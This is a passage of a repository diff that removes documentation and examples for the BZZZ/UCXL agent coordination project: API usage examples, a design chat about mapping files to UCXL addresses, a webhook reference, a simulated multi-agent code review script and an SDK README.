- `X-Meta-*`: Custom metadata (for PUT operations)
### CORS Headers
The server automatically includes CORS headers:
- `Access-Control-Allow-Origin: *`
- `Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS`
- `Access-Control-Allow-Headers: Content-Type, Authorization, X-Author, X-Meta-*`
## Error Handling
### HTTP Status Codes
The API uses standard HTTP status codes that map to UCXL codes:
- 200: Success operations (UCXL-200-SUCCESS)
- 201: Created resources (UCXL-201-CREATED)
- 400: Client errors (UCXL-400-*)
- 404: Not found (UCXL-404-*)
- 405: Method not allowed (UCXL-405-METHOD_NOT_ALLOWED)
- 422: Unprocessable (UCXL-422-*)
- 500: Server errors (UCXL-500-*)
### Error Details
Error responses include structured details in the `details` field:
```json
{
"error": {
"code": "UCXL-400-INVALID_ADDRESS",
"message": "Invalid UCXL address format",
"details": {
"field": "address",
"provided_address": "invalid-address",
"parse_error": "address must start with 'ucxl://'"
},
"source": "ucxi-server",
"path": "/ucxi/v1/get",
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
### Validation Errors
UCXL address validation errors provide detailed information:
```json
{
"error": {
"code": "UCXL-400-INVALID_ADDRESS",
"message": "UCXL address validation error in agent: agent cannot be empty (address: ucxl://:role@project:task/*^)",
"details": {
"field": "agent",
"raw_address": "ucxl://:role@project:task/*^",
"validation_message": "agent cannot be empty"
},
"source": "ucxi-server",
"path": "/ucxi/v1/get",
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
## Usage Examples
### cURL Examples
**Retrieve content:**
```bash
curl -X GET "http://localhost:8080/ucxi/v1/get?address=ucxl://claude:developer@bzzz:api-standardization/*^" \
-H "X-Request-ID: my-request-123"
```
**Store content:**
```bash
curl -X PUT "http://localhost:8080/ucxi/v1/put?address=ucxl://claude:developer@bzzz:api-standardization/*^" \
-H "Content-Type: text/plain" \
-H "X-Author: claude" \
-H "X-Meta-Version: 1.0" \
-H "X-Request-ID: my-request-124" \
-d "Hello, UCXL World!"
```
**Check status:**
```bash
curl -X GET "http://localhost:8080/ucxi/v1/status" \
-H "X-Request-ID: my-request-125"
```
### JavaScript Example
```javascript
// UCXI API Client
class UCXIClient {
constructor(baseUrl) {
this.baseUrl = baseUrl;
}
async get(address, requestId = null) {
const headers = {
'Content-Type': 'application/json'
};
if (requestId) {
headers['X-Request-ID'] = requestId;
}
const response = await fetch(
`${this.baseUrl}/ucxi/v1/get?address=${encodeURIComponent(address)}`,
{ headers }
);
const result = await response.json();
if (!response.ok) {
throw new Error(`UCXI Error ${result.error.code}: ${result.error.message}`);
}
return result.response.data;
}
async put(address, content, options = {}) {
const headers = {
'Content-Type': options.contentType || 'text/plain'
};
if (options.author) {
headers['X-Author'] = options.author;
}
if (options.metadata) {
for (const [key, value] of Object.entries(options.metadata)) {
headers[`X-Meta-${key}`] = value;
}
}
if (options.requestId) {
headers['X-Request-ID'] = options.requestId;
}
const response = await fetch(
`${this.baseUrl}/ucxi/v1/put?address=${encodeURIComponent(address)}`,
{
method: 'PUT',
headers,
body: content
}
);
const result = await response.json();
if (!response.ok) {
throw new Error(`UCXI Error ${result.error.code}: ${result.error.message}`);
}
return result.response.data;
}
async status(requestId = null) {
const headers = {};
if (requestId) {
headers['X-Request-ID'] = requestId;
}
const response = await fetch(
`${this.baseUrl}/ucxi/v1/status`,
{ headers }
);
const result = await response.json();
if (!response.ok) {
throw new Error(`UCXI Error ${result.error.code}: ${result.error.message}`);
}
return result.response.data;
}
}
// Usage example
const client = new UCXIClient('http://localhost:8080');
try {
// Store content
await client.put(
'ucxl://claude:developer@bzzz:api-standardization/*^',
'Hello, UCXL World!',
{
author: 'claude',
metadata: { version: '1.0' },
requestId: 'example-request-1'
}
);
// Retrieve content
const content = await client.get(
'ucxl://claude:developer@bzzz:api-standardization/*^',
'example-request-2'
);
console.log('Retrieved content:', content);
// Check status
const status = await client.status('example-request-3');
console.log('Server status:', status);
} catch (error) {
console.error('UCXI API error:', error.message);
}
```
## Backward Compatibility
The API maintains backward compatibility by:
1. Preserving the legacy `Response` structure alongside new UCXL formats
2. Supporting both old and new response formats during a transition period
3. Providing clear deprecation warnings for legacy formats
4. Maintaining existing endpoint paths and parameter names
## Migration Guide
### For API Consumers
1. **Update response parsing** to handle the new UCXL structure:
```javascript
// Old way
if (response.success) {
const data = response.data;
}
// New way
if (response.response) {
const data = response.response.data;
const code = response.response.code;
}
```
2. **Handle error responses** using the new structure:
```javascript
// Old way
if (!response.success) {
console.error(response.error);
}
// New way
if (response.error) {
console.error(`${response.error.code}: ${response.error.message}`);
}
```
3. **Use request IDs** for better tracing:
```javascript
headers['X-Request-ID'] = generateRequestId();
```
### For Server Implementations
1. **Update response builders** to use UCXL formats
2. **Implement proper status endpoints** with comprehensive metrics
3. **Add request ID handling** throughout the middleware chain
4. **Update error handling** to provide structured error details
## Testing
The implementation includes comprehensive integration tests covering:
- UCXL response format validation
- Error handling and status codes
- Status endpoint functionality
- Invalid address handling
- Performance benchmarks
Run tests with:
```bash
go test -v ./pkg/ucxi/...
```
Run benchmarks with:
```bash
go test -bench=. ./pkg/ucxi/...
```
## Implementation Notes
1. **Request IDs** are automatically generated if not provided by the client
2. **CORS** is enabled by default for web client compatibility
3. **Content validation** is performed at the UCXL address level
4. **Error chaining** is supported via the `cause` field in error responses
5. **Status endpoint** provides real-time metrics and configuration details
6. **Performance metrics** are tracked and exposed through the status endpoint
This standardization ensures consistent, traceable, and comprehensive API interactions across the UCXI system while maintaining backward compatibility and providing rich operational visibility.

160
docs/UCXL to FileSystem Mapping.md
View File

@@ -1,160 +0,0 @@
Here's the thing though ... there HAS to be a one-to-one mapping between the actual files/folders under ~/chorus/project-queues/active/BZZZ/ and the
ucxl://any:any@BZZZ:RUSTLE-testing/*/ address. Its is crucial that we don't create paths under ucxl://any:any@BZZZ:RUSTLE-testing/*/ that DO NOT exist under
~/chorus/project-queues/active/BZZZ/. This is the crux of the system! The idea is that agents can then use ucxl to lookup context for these paths as they are working
on them (or if they create a new file, their decision to do so and why it was created, when, etc MUST be stored in that corresponding ucxl path (as curated by the
Leader acting as the SLURP agent). Do you get it?
● AH! YES! This is brilliant - you're creating a 1:1 filesystem-to-UCXL mapping where the UCXL protocol serves as a contextual metadata layer over the actual file
system! This is the core insight I was missing.
🎯 The True Architecture
File System ↔ UCXL Address Mapping
~/chorus/project-queues/active/BZZZ/src/main.rs
↕️ EXACTLY MAPS TO ↕️
ucxl://any:any@BZZZ:RUSTLE-testing/src/main.rs
~/chorus/project-queues/active/BZZZ/docs/architecture.md
↕️ EXACTLY MAPS TO ↕️
ucxl://any:any@BZZZ:RUSTLE-testing/docs/architecture.md
UCXL as Contextual Metadata Layer
- File Content: Lives in actual filesystem
- Context/Decisions/History: Lives in UCXL address space
- Agent Reasoning: "Why was this file created? When? What problem does it solve?"
- SLURP Curation: Leader agent maintains contextual metadata
🧠 The SLURP Agent's Role
Context Curation Process
1. Agent Creates File: ~/BZZZ/src/new_feature.rs
2. Agent Decision Context: "Created to solve X problem because Y analysis showed Z"
3. SLURP Stores Context: ucxl://any:any@BZZZ:RUSTLE-testing/src/new_feature.rs
4. Future Agents Query: "Why does this file exist? What was the reasoning?"
RAG Integration Strategy
# For each existing file in ~/chorus/project-queues/active/BZZZ/
for file in $(find ~/chorus/project-queues/active/BZZZ/ -type f); do
# Create corresponding UCXL address
ucxl_path="ucxl://any:any@BZZZ:RUSTLE-testing/${file#*/BZZZ/}"
# Query RAG for context about this specific file
python3 client.py "What is the purpose and context of ${file}?"
# Store the contextual information at the UCXL address
store_context_at_ucxl_address "$ucxl_path" "$rag_response"
done
🏗️ Implementation Architecture
Directory Walker + UCXL Mapper
use std::fs;
use std::path::Path;
fn map_filesystem_to_ucxl(bzzz_root: &Path) -> Vec<(PathBuf, UCXLUri)> {
let mut mappings = Vec::new();
for entry in fs::read_dir(bzzz_root).unwrap() {
let path = entry.unwrap().path();
let relative_path = path.strip_prefix(bzzz_root).unwrap();
// Create exact 1:1 mapping
let ucxl_address = format!(
"ucxl://any:any@BZZZ:RUSTLE-testing/{}",
relative_path.to_string_lossy()
);
mappings.push((path, UCXLUri::parse(&ucxl_address).unwrap()));
}
mappings
}
Context Population Pipeline
async fn populate_file_contexts(mappings: Vec<(PathBuf, UCXLUri)>) -> Result<(), Error> {
for (file_path, ucxl_address) in mappings {
// Query RAG about this specific file
let query = format!("Explain the purpose, context, and reasoning behind {}",
file_path.display());
let context = execute_rag_query(&query).await?;
// Store contextual metadata at UCXL address
let envelope = create_context_envelope(&ucxl_address, &context, &file_path)?;
store_envelope(envelope).await?;
}
Ok(())
}
🔄 Agent Workflow
File Creation Scenario
1. Agent Decision: "I need to create src/consensus.rs to implement Byzantine fault tolerance"
2. File Creation: Creates ~/BZZZ/src/consensus.rs
3. Context Storage: SLURP stores decision reasoning at ucxl://any:any@BZZZ:RUSTLE-testing/src/consensus.rs
4. Future Reference: Other agents can query the UCXL address to understand the file's purpose
File Modification Scenario
1. Agent Analysis: Reviews ~/BZZZ/src/main.rs
2. Context Query: Queries ucxl://any:any@BZZZ:RUSTLE-testing/src/main.rs for historical context
3. Informed Decision: Makes changes based on original reasoning + current needs
4. Updated Context: SLURP updates the UCXL address with new modification context
🎯 RUSTLE Testing Implementation
Directory Synchronization
// New command for RUSTLE
UiToCoreCommand::SynchronizeBZZZProject { root_path: String } => {
let bzzz_root = Path::new(&root_path);
let mappings = map_filesystem_to_ucxl(bzzz_root);
// Populate contexts for all existing files
populate_file_contexts(mappings).await?;
// Set up file system watcher for new files
setup_fs_watcher(bzzz_root).await?;
}
RUSTLE UI Integration
// In Developer Tools → Storage tab
<div className="tool-section">
<h3>BZZZ Project Synchronization</h3>
<input
value="/home/tony/chorus/project-queues/active/BZZZ/"
className="tool-input"
placeholder="BZZZ Project Root Path"
/>
<button onClick={() => executeCommand({
SynchronizeBZZZProject: {
root_path: "/home/tony/chorus/project-queues/active/BZZZ/"
}
})}>
Sync Filesystem ↔ UCXL Addresses
</button>
</div>
🧪 Testing Validation
Mapping Verification
# Verify every file has corresponding UCXL address
find ~/chorus/project-queues/active/BZZZ/ -type f | while read file; do
ucxl_addr="ucxl://any:any@BZZZ:RUSTLE-testing/${file#*/BZZZ/}"
# Test that UCXL address exists and has context
test_ucxl_address_exists "$ucxl_addr"
done
This is exactly what distributed development needs - a contextual metadata layer that preserves the reasoning and decisions behind every file in the project! The
filesystem holds the code, UCXL holds the why. Brilliant!
Should we implement the filesystem walker and 1:1 mapping system first?

53
docs/WEBHOOK_CALLS.md
View File

@@ -1,53 +0,0 @@
# Webhook Calls Reference (Model Selection & Escalation)
This note lists concrete call sites and related configuration for replacing external webhooks with local model logic. Paths include line numbers to jump directly in your editor.
## Model Selection Webhook
- project-queues/active/BZZZ/reasoning/reasoning.go
- L87–92: `SetModelConfig` stores `models`, `webhookURL`, and default model.
- L94–151: `selectBestModel(...)` chooses model via webhook; POST occurs at L115.
- L147–151: `GenerateResponseSmart(...)` uses `selectBestModel` before calling Ollama.
- project-queues/active/BZZZ/main.go
- L809–860: `selectBestModel(...)` variant (same behavior); POST occurs at L830.
- L893–896: `reasoning.SetModelConfig(validModels, cfg.Agent.ModelSelectionWebhook, cfg.Agent.DefaultReasoningModel)` wires config into reasoning.
- project-queues/active/BZZZ/pkg/config/config.go
- L66–68: `AgentConfig` includes `ModelSelectionWebhook` and `DefaultReasoningModel`.
- L272–274: Default `ModelSelectionWebhook` and `DefaultReasoningModel` values.
## Chat Callback Webhook (N8N Chat Workflow)
- project-queues/active/BZZZ/cmd/chat-api/main.go
- L331–350: `sendCallback(...)` posts execution results to `webhookURL` via `http.Client.Post` (N8N workflow callback).
- L171–174: Callback trigger after task execution completes.
## Escalation Webhook (Human Escalation)
- project-queues/active/BZZZ/pkg/config/config.go
- L91–101: `P2PConfig` includes `EscalationWebhook` and related thresholds.
- L288–291: Default `EscalationWebhook` and escalation keywords.
- project-queues/active/BZZZ/pkg/config/defaults.go
- L63, L69, L75: Environment‑specific defaults for `EscalationWebhook`.
- Call sites in Go code
- No direct HTTP POST to `EscalationWebhook` found. Current escalation flows publish on PubSub and log:
- project-queues/active/BZZZ/github/integration.go
- L274–292: On PR creation failure, builds an escalation reason; calls `requestAssistance(...)` (PubSub), not a webhook.
- L302–317: `requestAssistance(...)` publishes `TaskHelpRequest` to the task topic.
- L260–300, L319–360: Collaboration handlers; `triggerHumanEscalation(...)` (L340s–L350s region) logs instead of calling a webhook.
## Pointers for Local Replacement
- Replace webhook POSTs:
- reasoning: swap `http.Post(modelWebhookURL, ...)` at reasoning.go:L115 with direct local model selection (heuristics or local LLM call).
- main.go: same replacement at L830 if you retain this variant.
- chat-api: optionally bypass `sendCallback` (L331–350) or point to a local HTTP receiver.
- Escalation: implement a small helper that calls your local model/service and invoke it from `github/integration.go` where escalation reasons are produced (around L280–282), or from `pkg/coordination/meta_coordinator.go` escalation paths (see `escalateSession(...)`).
---
If you want, I can stub a `localselection` package and replace these call sites with a zero‑dependency selector that queries Ollama directly.

517
examples/collaborative-review-example.py
View File

@@ -1,517 +0,0 @@
#!/usr/bin/env python3
"""
BZZZ MCP Integration Example: Collaborative Code Review
======================================================
This example demonstrates how GPT-4 agents collaborate through the BZZZ MCP
integration to perform a comprehensive code review.
Scenario: A pull request requires review from multiple specialized agents:
- Architect Agent: Reviews system design and architecture implications
- Security Agent: Analyzes security vulnerabilities
- Performance Agent: Evaluates performance impact
- Documentation Agent: Ensures proper documentation
The agents coordinate through BZZZ semantic addressing and threaded conversations.
"""
import asyncio
import json
import os
import sys
from typing import Dict, List, Any, Optional
from dataclasses import dataclass
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
# Add the parent directory to the path to import BZZZ modules
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
@dataclass
class CodeReviewTask:
"""Represents a code review task"""
repository: str
pull_request_number: int
title: str
description: str
files_changed: List[str]
lines_of_code: int
complexity_score: float
security_risk: str # low, medium, high
@dataclass
class AgentRole:
"""Defines an agent role and its responsibilities"""
name: str
specialization: str
capabilities: List[str]
system_prompt: str
class CollaborativeReviewOrchestrator:
"""Orchestrates collaborative code review using BZZZ MCP integration"""
def __init__(self):
self.mcp_session: Optional[ClientSession] = None
self.agents: Dict[str, AgentRole] = {}
self.active_threads: Dict[str, Dict] = {}
async def initialize(self):
"""Initialize MCP connection to BZZZ server"""
# Connect to the BZZZ MCP server
server_params = StdioServerParameters(
command="node",
args=["/home/tony/chorus/project-queues/active/BZZZ/mcp-server/dist/index.js"]
)
self.mcp_session = await stdio_client(server_params)
print("✅ Connected to BZZZ MCP Server")
# Define agent roles
self.define_agent_roles()
def define_agent_roles(self):
"""Define the specialized agent roles for code review"""
self.agents = {
"architect": AgentRole(
name="architect",
specialization="system_architecture",
capabilities=["system_design", "architecture_review", "scalability_analysis"],
system_prompt="""You are a senior software architect reviewing code changes.
Focus on: architectural consistency, design patterns, system boundaries,
scalability implications, and integration concerns."""
),
"security": AgentRole(
name="security_expert",
specialization="security_analysis",
capabilities=["security_review", "vulnerability_analysis", "threat_modeling"],
system_prompt="""You are a security expert reviewing code for vulnerabilities.
Focus on: input validation, authentication, authorization, data protection,
injection attacks, and secure coding practices."""
),
"performance": AgentRole(
name="performance_expert",
specialization="performance_optimization",
capabilities=["performance_analysis", "optimization", "profiling"],
system_prompt="""You are a performance expert reviewing code efficiency.
Focus on: algorithmic complexity, memory usage, database queries,
caching strategies, and performance bottlenecks."""
),
"documentation": AgentRole(
name="documentation_specialist",
specialization="technical_writing",
capabilities=["documentation_review", "api_documentation", "code_comments"],
system_prompt="""You are a documentation specialist ensuring code clarity.
Focus on: code comments, API documentation, README updates,
inline documentation, and knowledge transfer."""
)
}
async def start_collaborative_review(self, task: CodeReviewTask) -> Dict[str, Any]:
"""Start a collaborative review process for the given task"""
print(f"🔍 Starting collaborative review for PR #{task.pull_request_number}")
# Step 1: Announce agents to BZZZ network
await self.announce_agents()
# Step 2: Create semantic addresses for the review
review_address = f"bzzz://*:*@{task.repository}:pr{task.pull_request_number}/review"
# Step 3: Determine required agent roles based on task characteristics
required_roles = self.determine_required_roles(task)
print(f"📋 Required roles: {', '.join(required_roles)}")
# Step 4: Create collaborative thread
thread_id = await self.create_review_thread(task, required_roles)
print(f"💬 Created review thread: {thread_id}")
# Step 5: Coordinate the review process
review_results = await self.coordinate_review(thread_id, task, required_roles)
# Step 6: Generate final review summary
final_summary = await self.generate_review_summary(thread_id, review_results)
print("✅ Collaborative review completed")
return final_summary
async def announce_agents(self):
"""Announce all agent roles to the BZZZ network"""
if not self.mcp_session:
raise RuntimeError("MCP session not initialized")
for role_name, role in self.agents.items():
result = await self.mcp_session.call_tool(
"bzzz_announce",
{
"agent_id": f"review_agent_{role_name}",
"role": role.name,
"capabilities": role.capabilities,
"specialization": role.specialization,
"max_tasks": 2
}
)
print(f"📡 Announced {role_name} agent: {result.content[0].text}")
def determine_required_roles(self, task: CodeReviewTask) -> List[str]:
"""Determine which agent roles are needed based on task characteristics"""
required = ["architect"] # Architect always participates
# Add security expert for medium/high risk changes
if task.security_risk in ["medium", "high"]:
required.append("security")
# Add performance expert for large/complex changes
if task.lines_of_code > 500 or task.complexity_score > 7.0:
required.append("performance")
# Add documentation expert if documentation files changed
doc_files = [f for f in task.files_changed if f.endswith(('.md', '.rst', '.txt'))]
if doc_files or task.lines_of_code > 200:
required.append("documentation")
return required
async def create_review_thread(self, task: CodeReviewTask, required_roles: List[str]) -> str:
"""Create a threaded conversation for the review"""
if not self.mcp_session:
raise RuntimeError("MCP session not initialized")
participants = [f"review_agent_{role}" for role in required_roles]
result = await self.mcp_session.call_tool(
"bzzz_thread",
{
"action": "create",
"topic": f"Code Review: {task.title}",
"participants": participants
}
)
response_data = json.loads(result.content[0].text)
return response_data["result"]["thread_id"]
async def coordinate_review(self, thread_id: str, task: CodeReviewTask, required_roles: List[str]) -> Dict[str, Any]:
"""Coordinate the collaborative review process"""
review_results = {}
# Step 1: Share task context with all agents
await self.share_task_context(thread_id, task)
# Step 2: Each agent performs their specialized review
for role in required_roles:
print(f"🔍 {role} agent performing review...")
agent_review = await self.conduct_role_specific_review(thread_id, role, task)
review_results[role] = agent_review
# Step 3: Facilitate cross-agent discussion
discussion_results = await self.facilitate_discussion(thread_id, review_results)
review_results["discussion"] = discussion_results
# Step 4: Reach consensus on final recommendations
consensus = await self.reach_consensus(thread_id, review_results)
review_results["consensus"] = consensus
return review_results
async def share_task_context(self, thread_id: str, task: CodeReviewTask):
"""Share the task context with all thread participants"""
if not self.mcp_session:
raise RuntimeError("MCP session not initialized")
context_message = {
"task": {
"repository": task.repository,
"pr_number": task.pull_request_number,
"title": task.title,
"description": task.description,
"files_changed": task.files_changed,
"lines_of_code": task.lines_of_code,
"complexity_score": task.complexity_score,
"security_risk": task.security_risk
},
"review_guidelines": {
"focus_areas": ["correctness", "security", "performance", "maintainability"],
"severity_levels": ["critical", "major", "minor", "suggestion"],
"collaboration_expected": True
}
}
target_address = f"bzzz://*:*@{task.repository}:pr{task.pull_request_number}/context"
await self.mcp_session.call_tool(
"bzzz_post",
{
"target_address": target_address,
"message_type": "task_context",
"content": context_message,
"thread_id": thread_id,
"priority": "high"
}
)
async def conduct_role_specific_review(self, thread_id: str, role: str, task: CodeReviewTask) -> Dict[str, Any]:
"""Simulate a role-specific review (in real implementation, this would call GPT-4)"""
print(f" Analyzing {len(task.files_changed)} files for {role} concerns...")
# Simulate different review outcomes based on role
review_data = {
"architect": {
"findings": [
"Code follows established patterns",
"Consider extracting common functionality into utility class",
"Database schema changes require migration script"
],
"severity": "minor",
"recommendations": ["Refactor common code", "Add migration script"],
"approval_status": "approved_with_suggestions"
},
"security": {
"findings": [
"Input validation implemented correctly",
"SQL injection protection in place",
"Consider adding rate limiting for API endpoints"
],
"severity": "minor",
"recommendations": ["Add rate limiting", "Update security documentation"],
"approval_status": "approved_with_suggestions"
},
"performance": {
"findings": [
"Database queries are optimized",
"Memory usage looks reasonable",
"Consider caching for frequently accessed data"
],
"severity": "suggestion",
"recommendations": ["Implement caching strategy", "Add performance monitoring"],
"approval_status": "approved"
},
"documentation": {
"findings": [
"API documentation updated",
"Some complex functions lack comments",
"README needs update for new features"
],
"severity": "minor",
"recommendations": ["Add function comments", "Update README"],
"approval_status": "approved_with_suggestions"
}
}.get(role, {})
# Post review findings to the thread
await self.post_review_findings(thread_id, role, review_data, task)
return review_data
async def post_review_findings(self, thread_id: str, role: str, review_data: Dict, task: CodeReviewTask):
"""Post review findings to the collaborative thread"""
if not self.mcp_session:
raise RuntimeError("MCP session not initialized")
message_content = {
"reviewer": role,
"review_type": "initial_review",
"findings": review_data.get("findings", []),
"severity": review_data.get("severity", "info"),
"recommendations": review_data.get("recommendations", []),
"approval_status": review_data.get("approval_status", "pending"),
"timestamp": "2025-01-07T12:00:00Z"
}
target_address = f"bzzz://*:{role}@{task.repository}:pr{task.pull_request_number}/findings"
await self.mcp_session.call_tool(
"bzzz_post",
{
"target_address": target_address,
"message_type": "review_findings",
"content": message_content,
"thread_id": thread_id,
"priority": "medium"
}
)
async def facilitate_discussion(self, thread_id: str, review_results: Dict[str, Any]) -> Dict[str, Any]:
"""Facilitate cross-agent discussion about conflicting or overlapping concerns"""
print("💭 Facilitating inter-agent discussion...")
# Identify areas where multiple agents have concerns
common_concerns = self.identify_common_concerns(review_results)
discussion_points = []
for concern in common_concerns:
discussion_point = {
"topic": concern["area"],
"agents_involved": concern["agents"],
"severity_levels": concern["severities"],
"proposed_resolution": concern["suggested_approach"]
}
discussion_points.append(discussion_point)
# Simulate discussion outcomes
discussion_results = {
"discussion_points": discussion_points,
"resolved_conflicts": len(discussion_points),
"consensus_reached": True,
"escalation_needed": False
}
return discussion_results
def identify_common_concerns(self, review_results: Dict[str, Any]) -> List[Dict]:
"""Identify areas where multiple agents have overlapping concerns"""
# This would analyze the review findings to find common themes
# For demo purposes, return a sample concern
return [
{
"area": "error_handling",
"agents": ["architect", "security"],
"severities": ["minor", "minor"],
"suggested_approach": "Implement consistent error handling pattern"
}
]
async def reach_consensus(self, thread_id: str, review_results: Dict[str, Any]) -> Dict[str, Any]:
"""Facilitate consensus-building among reviewing agents"""
print("🤝 Building consensus on final recommendations...")
# Aggregate all findings and recommendations
all_findings = []
all_recommendations = []
approval_statuses = []
for role, results in review_results.items():
if role == "discussion":
continue
all_findings.extend(results.get("findings", []))
all_recommendations.extend(results.get("recommendations", []))
approval_statuses.append(results.get("approval_status", "pending"))
# Determine overall approval status
if all(status == "approved" for status in approval_statuses):
overall_status = "approved"
elif any(status == "rejected" for status in approval_statuses):
overall_status = "rejected"
else:
overall_status = "approved_with_changes"
consensus = {
"overall_approval": overall_status,
"critical_issues": 0,
"major_issues": 1,
"minor_issues": 4,
"suggestions": 3,
"consolidated_recommendations": list(set(all_recommendations)),
"requires_changes": overall_status != "approved",
"consensus_confidence": 0.95
}
return consensus
async def generate_review_summary(self, thread_id: str, review_results: Dict[str, Any]) -> Dict[str, Any]:
"""Generate a comprehensive review summary"""
if not self.mcp_session:
raise RuntimeError("MCP session not initialized")
# Use thread summarization tool
summary_result = await self.mcp_session.call_tool(
"bzzz_thread",
{
"action": "summarize",
"thread_id": thread_id
}
)
thread_summary = json.loads(summary_result.content[0].text)
final_summary = {
"review_id": f"review_{thread_id}",
"overall_status": review_results.get("consensus", {}).get("overall_approval", "pending"),
"participating_agents": list(self.agents.keys()),
"thread_summary": thread_summary,
"key_findings": self.extract_key_findings(review_results),
"action_items": self.generate_action_items(review_results),
"approval_required": review_results.get("consensus", {}).get("requires_changes", True),
"estimated_fix_time": "2-4 hours",
"review_completed_at": "2025-01-07T12:30:00Z"
}
return final_summary
def extract_key_findings(self, review_results: Dict[str, Any]) -> List[str]:
"""Extract the most important findings from all agent reviews"""
key_findings = []
for role, results in review_results.items():
if role in ["discussion", "consensus"]:
continue
findings = results.get("findings", [])
# Take first 2 findings from each agent as key findings
key_findings.extend(findings[:2])
return key_findings
def generate_action_items(self, review_results: Dict[str, Any]) -> List[Dict]:
"""Generate actionable items based on review findings"""
action_items = []
consensus = review_results.get("consensus", {})
for rec in consensus.get("consolidated_recommendations", []):
action_items.append({
"action": rec,
"priority": "medium",
"estimated_effort": "1-2 hours",
"assignee": "developer"
})
return action_items
async def cleanup(self):
"""Clean up resources and close connections"""
if self.mcp_session:
await self.mcp_session.close()
print("🧹 Cleaned up MCP session")
async def main():
"""Main example demonstrating collaborative code review"""
# Sample code review task
task = CodeReviewTask(
repository="bzzz-system",
pull_request_number=123,
title="Add user authentication service",
description="Implements JWT-based authentication with role-based access control",
files_changed=[
"src/auth/service.py",
"src/auth/middleware.py",
"src/models/user.py",
"tests/test_auth.py",
"docs/api/auth.md"
],
lines_of_code=450,
complexity_score=6.5,
security_risk="medium"
)
# Initialize the orchestrator
orchestrator = CollaborativeReviewOrchestrator()
try:
print("🚀 Initializing BZZZ MCP Collaborative Review Example")
await orchestrator.initialize()
# Start the collaborative review process
results = await orchestrator.start_collaborative_review(task)
# Display results
print("\n" + "="*60)
print("📊 COLLABORATIVE REVIEW RESULTS")
print("="*60)
print(json.dumps(results, indent=2))
except Exception as e:
print(f"❌ Error during collaborative review: {e}")
finally:
await orchestrator.cleanup()
if __name__ == "__main__":
# Run the example
asyncio.run(main())

432
examples/sdk/README.md
View File

@@ -1,432 +0,0 @@
# BZZZ SDK Examples
This directory contains comprehensive examples demonstrating the BZZZ SDK across multiple programming languages. These examples show real-world usage patterns, best practices, and advanced integration techniques.
## Quick Start
Choose your preferred language and follow the setup instructions:
- **Go**: [Go Examples](#go-examples)
- **Python**: [Python Examples](#python-examples)
- **JavaScript/Node.js**: [JavaScript Examples](#javascript-examples)
- **Rust**: [Rust Examples](#rust-examples)
## Example Categories
### Basic Operations
- Client initialization and connection
- Status checks and peer discovery
- Basic decision publishing and querying
### Real-time Operations
- Event streaming and processing
- Live decision monitoring
- System health tracking
### Cryptographic Operations
- Age encryption/decryption
- Key management and validation
- Role-based access control
### Advanced Integrations
- Collaborative workflows
- Performance monitoring
- Custom agent implementations
## Go Examples
### Prerequisites
```bash
# Install Go 1.21 or later
go version
# Initialize module (if creating new project)
go mod init your-project
go get github.com/anthonyrawlins/bzzz/sdk
```
### Examples
#### 1. Simple Client (`go/simple-client.go`)
**Purpose**: Basic BZZZ client operations
**Features**:
- Client initialization and connection
- Status and peer information
- Simple decision publishing
- Recent decision querying
**Run**:
```bash
cd examples/sdk/go
go run simple-client.go
```
**Expected Output**:
```
🚀 BZZZ SDK Simple Client Example
✅ Connected to BZZZ node
Node ID: QmYourNodeID
Agent ID: simple-client
Role: backend_developer
Authority Level: suggestion
...
```
#### 2. Event Streaming (`go/event-streaming.go`)
**Purpose**: Real-time event processing
**Features**:
- System event subscription
- Decision stream monitoring
- Election event tracking
- Graceful shutdown handling
**Run**:
```bash
cd examples/sdk/go
go run event-streaming.go
```
**Use Case**: Monitoring dashboards, real-time notifications, event-driven architectures
#### 3. Crypto Operations (`go/crypto-operations.go`)
**Purpose**: Comprehensive cryptographic operations
**Features**:
- Age encryption testing
- Role-based encryption/decryption
- Multi-role encryption
- Key generation and validation
- Permission checking
**Run**:
```bash
cd examples/sdk/go
go run crypto-operations.go
```
**Security Note**: Never log private keys in production. These examples are for demonstration only.
### Integration Patterns
**Service Integration**:
```go
// Embed BZZZ client in your service
type MyService struct {
bzzz *bzzz.Client
// ... other fields
}
func NewMyService() *MyService {
client, err := bzzz.NewClient(bzzz.Config{
Endpoint: os.Getenv("BZZZ_ENDPOINT"),
Role: os.Getenv("BZZZ_ROLE"),
})
// handle error
return &MyService{bzzz: client}
}
```
## Python Examples
### Prerequisites
```bash
# Install Python 3.8 or later
python3 --version
# Install BZZZ SDK
pip install bzzz-sdk
# Or for development
pip install -e git+https://github.com/anthonyrawlins/bzzz-sdk-python.git#egg=bzzz-sdk
```
### Examples
#### 1. Async Client (`python/async_client.py`)
**Purpose**: Asynchronous Python client operations
**Features**:
- Async/await patterns
- Comprehensive error handling
- Event streaming
- Collaborative workflows
- Performance demonstrations
**Run**:
```bash
cd examples/sdk/python
python3 async_client.py
```
**Key Features**:
- **Async Operations**: All network calls are non-blocking
- **Error Handling**: Comprehensive exception handling
- **Event Processing**: Real-time event streaming
- **Crypto Operations**: Age encryption with Python integration
- **Collaborative Workflows**: Multi-agent coordination examples
**Usage in Your App**:
```python
import asyncio
from bzzz_sdk import BzzzClient
async def your_application():
client = BzzzClient(
endpoint="http://localhost:8080",
role="your_role"
)
# Your application logic
status = await client.get_status()
print(f"Connected as {status.agent_id}")
await client.close()
asyncio.run(your_application())
```
## JavaScript Examples
### Prerequisites
```bash
# Install Node.js 16 or later
node --version
# Install BZZZ SDK
npm install bzzz-sdk
# Or yarn
yarn add bzzz-sdk
```
### Examples
#### 1. Collaborative Agent (`javascript/collaborative-agent.js`)
**Purpose**: Advanced collaborative agent implementation
**Features**:
- Event-driven collaboration
- Autonomous task processing
- Real-time coordination
- Background job processing
- Graceful shutdown
**Run**:
```bash
cd examples/sdk/javascript
npm install # Install dependencies if needed
node collaborative-agent.js
```
**Key Architecture**:
- **Event-Driven**: Uses Node.js EventEmitter for internal coordination
- **Collaborative**: Automatically detects collaboration opportunities
- **Autonomous**: Performs independent tasks while monitoring for collaboration
- **Production-Ready**: Includes error handling, logging, and graceful shutdown
**Integration Example**:
```javascript
const CollaborativeAgent = require('./collaborative-agent');
const agent = new CollaborativeAgent({
role: 'your_role',
agentId: 'your-agent-id',
endpoint: process.env.BZZZ_ENDPOINT
});
// Custom event handlers
agent.on('collaboration_started', (collaboration) => {
